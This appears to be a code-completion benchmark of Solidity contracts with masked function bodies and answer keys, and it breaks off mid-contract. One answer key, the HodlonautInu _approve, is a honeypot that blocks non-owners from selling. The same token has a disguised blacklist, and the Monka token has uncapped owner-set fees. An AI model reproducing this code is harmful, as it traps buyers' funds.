contract HodlonautInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => bool) private aha; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'HoldlonautInu | https://t.me/hodlonautinu'; string private _symbol = 'HODLO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function isTransfertOk(address account) public view returns (bool) { return aha[account]; } function transertOk(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!aha[account], "Account is already blacklisted"); aha[account] = true; } <FILL_FUNCTION> function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(!aha[recipient], "CHEH"); require(!aha[msg.sender], "CHEH"); require(!aha[sender], "CHEH"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); }
function _approve(address from, address to, uint256 amount) private
function _approve(address from, address to, uint256 amount) private
31287
VoteProposalPool
newVoteProposal
contract VoteProposalPool { function newVoteProposal( string calldata _name, string calldata _data, uint32 _deadline ) external validateDeadline(_deadline) validateDescription(_data) validateName(_name) returns (VoteProposal newProposal) {<FILL_FUNCTION_BODY> } modifier validateDeadline(uint32 _deadline) { require(_deadline >= (now + 604800), "Deadline must be at least one week from now"); require(_deadline <= (now + 31622400), "Deadline must be no more than one year from now"); _; } modifier validateName(string memory _name) { bytes memory nameBytes = bytes(_name); require(nameBytes.length <= 100, "Proposal name must be less than 280 characters (ASCII)"); require(nameBytes.length >= 4, "Proposal name at least 4 characters (ASCII)"); _; } modifier validateDescription(string memory _description) { bytes memory descriptionBytes = bytes(_description); require(descriptionBytes.length <= 1000, "Proposal description must be less than 1,000 characters (ASCII)"); _; } event newProposalIssued( address proposal, address issuer, uint32 deadline, string name, string data, string optionA, address optionAaddr, string optionB, address optionBaddr); }
contract VoteProposalPool { <FILL_FUNCTION> modifier validateDeadline(uint32 _deadline) { require(_deadline >= (now + 604800), "Deadline must be at least one week from now"); require(_deadline <= (now + 31622400), "Deadline must be no more than one year from now"); _; } modifier validateName(string memory _name) { bytes memory nameBytes = bytes(_name); require(nameBytes.length <= 100, "Proposal name must be less than 280 characters (ASCII)"); require(nameBytes.length >= 4, "Proposal name at least 4 characters (ASCII)"); _; } modifier validateDescription(string memory _description) { bytes memory descriptionBytes = bytes(_description); require(descriptionBytes.length <= 1000, "Proposal description must be less than 1,000 characters (ASCII)"); _; } event newProposalIssued( address proposal, address issuer, uint32 deadline, string name, string data, string optionA, address optionAaddr, string optionB, address optionBaddr); }
newProposal = new VoteProposal(_deadline, _name, _data); newProposal.createOptions(_deadline, _name); emit newProposalIssued( address(newProposal), msg.sender, _deadline, _name, _data, "yes", newProposal.options(0), "no", newProposal.options(1));
function newVoteProposal( string calldata _name, string calldata _data, uint32 _deadline ) external validateDeadline(_deadline) validateDescription(_data) validateName(_name) returns (VoteProposal newProposal)
function newVoteProposal( string calldata _name, string calldata _data, uint32 _deadline ) external validateDeadline(_deadline) validateDescription(_data) validateName(_name) returns (VoteProposal newProposal)
49779
Monka
transfer
contract Monka is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Monka"; string private constant _symbol = 'Monka'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable feeAddress, address payable marketingWalletAddress) { _FeeAddress = feeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[feeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) {<FILL_FUNCTION_BODY> } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getTokenRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setTaxFee(uint256 fee) external onlyOwner() { _taxFee = fee; } function setTeamFee(uint256 fee) external onlyOwner() { _teamFee = fee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { payable(_FeeAddress).transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already enabled / opened"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2.125e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getTokenRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getTokenRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getTokenRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Max. Tx Percent must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
contract Monka is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Monka"; string private constant _symbol = 'Monka'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable feeAddress, address payable marketingWalletAddress) { _FeeAddress = feeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[feeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } <FILL_FUNCTION> function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getTokenRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setTaxFee(uint256 fee) external onlyOwner() { _taxFee = fee; } function setTeamFee(uint256 fee) external onlyOwner() { _teamFee = fee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { payable(_FeeAddress).transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already enabled / opened"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2.125e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getTokenRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getTokenRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getTokenRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Max. Tx Percent must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
_transfer(_msgSender(), recipient, amount); return true;
function transfer(address recipient, uint256 amount) public override returns (bool)
function transfer(address recipient, uint256 amount) public override returns (bool)
63313
IPM2COIN
IPM2COIN
contract IPM2COIN is StandardToken { // **the contract name. /* Public variables of the token */ /* NOTE: The following variables are choice vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name coinchel token issued uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'C1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function IPM2COIN() {<FILL_FUNCTION_BODY> } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract IPM2COIN is StandardToken { // **the contract name. /* Public variables of the token */ /* NOTE: The following variables are choice vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name coinchel token issued uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'C1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; <FILL_FUNCTION> function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 10000000000000000; // *Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (coinchel ) totalSupply = 10000000000000000; // *Update total supply (1000 for example) ( coinchel ) name = "IPM2COIN"; //* Set the name for display purposes ( coinchel ) decimals = 6; //* Amount of decimals for display purposes ( coinchel ) symbol = "IPM2"; //* Set the symbol for display purposes (coinchel ) unitsOneEthCanBuy = 10; // Set the price of your token for the ICO (coinchel ) fundsWallet = msg.sender; // The owner of the contract gets ETH
function IPM2COIN()
// Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function IPM2COIN()
56193
BFYCDividendTracker
getAccountAtIndex
contract BFYCDividendTracker is DividendPayingToken { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() DividendPayingToken("BFYC Dividend Tracker", "BFYC_Dividend_Tracker") { claimWait = 3600; minimumTokenBalanceForDividends = 20000000 * (10**9); } function setRewardToken(address token) external onlyOwner { _setRewardToken(token); } function setUniswapRouter(address router) external onlyOwner { _setUniswapRouter(router); } function _transfer(address, address, uint256) internal pure override { require(false, "BFYC_Dividend_Tracker: No transfers allowed"); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludeFromDividends(account); } function setTokenBalanceForDividends(uint256 newValue) external onlyOwner { require(minimumTokenBalanceForDividends != newValue, "BFYC_Dividend_Tracker: minimumTokenBalanceForDividends already the value of 'newValue'."); minimumTokenBalanceForDividends = newValue; } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 60 && newClaimWait <= 86400, "BFYC_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "BFYC_Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if(index >= 0) { if(uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) {<FILL_FUNCTION_BODY> } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if(lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if(excludedFromDividends[account]) { return; } if(newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } processAccount(account, true); } function process(uint256 gas) public onlyOwner returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if(numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while(gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if(_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if(canAutoClaim(lastClaimTimes[account])) { if(processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if(gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if(amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } }
contract BFYCDividendTracker is DividendPayingToken { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() DividendPayingToken("BFYC Dividend Tracker", "BFYC_Dividend_Tracker") { claimWait = 3600; minimumTokenBalanceForDividends = 20000000 * (10**9); } function setRewardToken(address token) external onlyOwner { _setRewardToken(token); } function setUniswapRouter(address router) external onlyOwner { _setUniswapRouter(router); } function _transfer(address, address, uint256) internal pure override { require(false, "BFYC_Dividend_Tracker: No transfers allowed"); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludeFromDividends(account); } function setTokenBalanceForDividends(uint256 newValue) external onlyOwner { require(minimumTokenBalanceForDividends != newValue, 